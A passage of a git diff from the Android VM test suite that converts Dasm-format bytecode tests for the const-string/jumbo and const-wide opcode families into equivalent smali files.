--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_1.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string/jumbo v254, "android jumbo"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali
new file mode 100644
index 0000000..e3c7da1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_1.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string/jumbo v254, "android jumbo"
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.d
deleted file mode 100644
index c563141..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_3.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-string/jumbo v3, "abc jumbo"
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali
new file mode 100644
index 0000000..401572e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_3.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-string/jumbo v3, "abc jumbo"
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.d
deleted file mode 100644
index c4088d7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_4.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-string/jumbo v1, "abc jumbo"
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali
new file mode 100644
index 0000000..c12f0cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_4.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-string/jumbo v1, "abc jumbo"
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.d
deleted file mode 100644
index 649d3ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_5.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string v254, "android jumbo"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali
new file mode 100644
index 0000000..ac2af74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_5.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android jumbo"
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.d
deleted file mode 100644
index 6809530..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_1.java
-.class public dot.junit.opcodes.const_wide.d.T_const_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()D
-.limit regs 3
-
-       const-wide v1, 1.2345678901232324E51
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali
new file mode 100644
index 0000000..515f019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_1.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 3
+
+       const-wide v1, 1.2345678901232324E51
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.smali
new file mode 100644
index 0000000..9852486
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide/d/T_const_wide_2;
+.super Ljava/lang/Object;
+.source "T_const_wide_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 255
+
+    const-wide v253, 0x4a817c800L
+
+    return-wide v253
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.d
deleted file mode 100644
index 1fab9ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_3.java
-.class public dot.junit.opcodes.const_wide.d.T_const_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali
new file mode 100644
index 0000000..5ee1e47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_3.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.d
deleted file mode 100644
index 9493e94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_4.java
-.class public dot.junit.opcodes.const_wide.d.T_const_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-wide v1, 3456
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali
new file mode 100644
index 0000000..81ee5af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_4.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide v1, 3456
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.d
deleted file mode 100644
index 02c4e1c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_16_1.java
-.class public dot.junit.opcodes.const_wide_16.d.T_const_wide_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 255
-
-       const-wide/16 v253, 20000
-       return-wide v253
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali
new file mode 100644
index 0000000..6f419c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_1.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 255
+
+       const-wide/16 v253, 20000
+       return-wide v253
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.d
deleted file mode 100644
index eebf570..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_16_3.java
-.class public dot.junit.opcodes.const_wide_16.d.T_const_wide_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide/16 v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali
new file mode 100644
index 0000000..f6dc2b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_3.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide/16 v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.d
deleted file mode 100644
index c1d79b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_16_4.java
-.class public dot.junit.opcodes.const_wide_16.d.T_const_wide_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-wide/16 v1, 3456
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali
new file mode 100644
index 0000000..4c0433f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_4.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide/16 v1, 3456
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.d
deleted file mode 100644
index 1962b17..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_32_1.java
-.class public dot.junit.opcodes.const_wide_32.d.T_const_wide_32_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 255
-
-       const-wide/32 v253, 20000000
-       return-wide v253
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali
new file mode 100644
index 0000000..7ee8b6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_1.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 255
+
+       const-wide/32 v253, 20000000
+       return-wide v253
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.d
deleted file mode 100644
index 44821ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_32_3.java
